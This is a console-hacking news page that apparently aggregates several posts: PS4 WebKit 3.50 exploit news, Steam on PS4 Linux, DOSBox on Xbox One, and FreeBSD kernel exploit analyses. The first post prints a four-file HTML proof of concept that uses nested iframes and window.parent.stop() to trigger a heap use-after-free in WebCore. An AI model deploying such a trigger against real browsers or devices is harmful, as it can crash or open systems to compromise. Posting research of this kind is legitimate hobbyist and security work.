Interested in investing time and money into PSXHAX.COM? Read More and Contact Us for details!
Live in Your World, HAX in Ours!
PS4 Heap Use-After-Free at WebCore 3.50 PoC by Hunter128
Well that didn't take long since news of the PS4 Webkit Exploit for 3.50 broke, with PlayStation 4 developer Hunter128 stepping up to the plate with the heap use-after-free at WebCore 3.50 proof-of-concept! :)

Without further ado, here's what he had to say to quote: Hello. Appears this needs to be posted public.. Not sure who felt the need to want fame for this cough "Qwerty" but that's the last time i am sharing something special like this.

Anyone hoping for advancements for the PS Vita scene you can blame this guy on why because i am no longer sharing anything.

Anywho make an index.html
Code:
<html>
  <body onload='runTest()'>
    <script>
      function runTest(){
       document.writeln('<html></html>');
      }
    </script>
  <iframe src='1.html'></iframe>
  </body>
</html>
1.html
Code:
<html>
  <iframe src='2.html'></iframe>
  <iframe src='3.html'></iframe>
</html>
2.html
Code:
<html>
  <script>
      window.parent.stop();
  </script>
</html>
3.html
Code:
<html>
</html>
Should cause a out of memory error.

Shoutout to no one.. I have no friends :eek:

Greetz to @Plankton in the PSXHAX Shoutbox today for the news!
Running Steam on PS4 Linux Demo Video by OsirisX
While awaiting the PoC release of the PS4 3.50 Webkit Exploit from earlier today, PlayStation 4 developer @Osirisx shared a video demonstrating Steam on PS4 (ARCH) Linux using the PS4 Radeon Libs on 1.76 Firmware.

To quote from OsirisX: Haven't tried on Ubuntu but works fine with ARCH linux after compiling both 64 bit and 32 bit Radeon libs. I posted a video of me running Steam a while ago. Most games have stable FPS when running low to mid graphics setting.

Related guides:
Special thanks to @toni1988 for the heads-up in the Shoutbox! :tup:
PS4 3.50 Webkit Exploit from PlayStation 4 Dev Qwertyoruiop
Last month a PS4 Webkit Exploit 2.XX PoC surfaced, and today PlayStation 4 developer qwertyoruiop tweeted news of a PS4 3.50 Webkit Exploit via a heap use-after-free at WebCore::TimerBase::heapPopMin() bug with a proof-of-concept incoming. :)

To quote from PS4BOT on this development: Hey,

I felt i needed to share with you guys as this is going to public.... Which i wasn't really hoping for but ah well. As you can see below Qwerty is about to post heap use-after-free at WebCore::TimerBase::heapPopMin() public. I do currently have the POC but i am not sharing. I guess 3.50 is now going to be the golden firmware hey?

Thanks to @toni1988 in the PSXHAX.COM Shoutbox for the news tip! :cool:

Finally, below is also an Atari Java emulator demo video from an Internet site running on PS4 3.50 from Ryan Henderson for those interested!

Windows 95 & Duke Nukem 3D Running via DOSBox on XBox One
Just days back we reported on the addition of Multiple-Disc Support, and today Eurogamer revealed that vcfan now has DOSBox ported to UWP (Universal Windows Platform) and running Windows 95 and Duke Nukem 3D on Microsoft's XBox One console! :D

To quote: "You'll only be able to do this if you have a developer version (XDK) of the console. On such devices you can already load custom apps built for the Universal Windows Platform (UWP) standard, which work across Windows 10 devices.

Microsoft is set to allow public UWP app support on Xbox One this summer - so what you're seeing here is a glimpse into the future. Or, it will be if Microsoft sets no safeguards for the kinds of apps it will your Xbox One actually run (which, to be fair, it probably will)."

Finally, according to the author from the video's caption: Its slow for now because it's only using the CPU interpreter. The dynarec still needs work since it produces crashes on 64bit, but it flies with it.


Cheers to @mcmrc1 for the news tip in the PSXHAX Shoutbox! :)
PS4 Developer CTurt on Analysis of FreeBSD Kernel Exploits
Earlier this month PlayStation 4 developer CTurt reported news of a new FreeBSD Kernel Exploit, and today he's updated Github with an analysis of both the FreeBSD SETFKEY kernel vulnerability (CVE-2016-1886) and the kernel heap overflow (CVE-2016-1887) for PS4 developers and hackers alike.


Check out his full analysis at the articles linked below:
Back
Top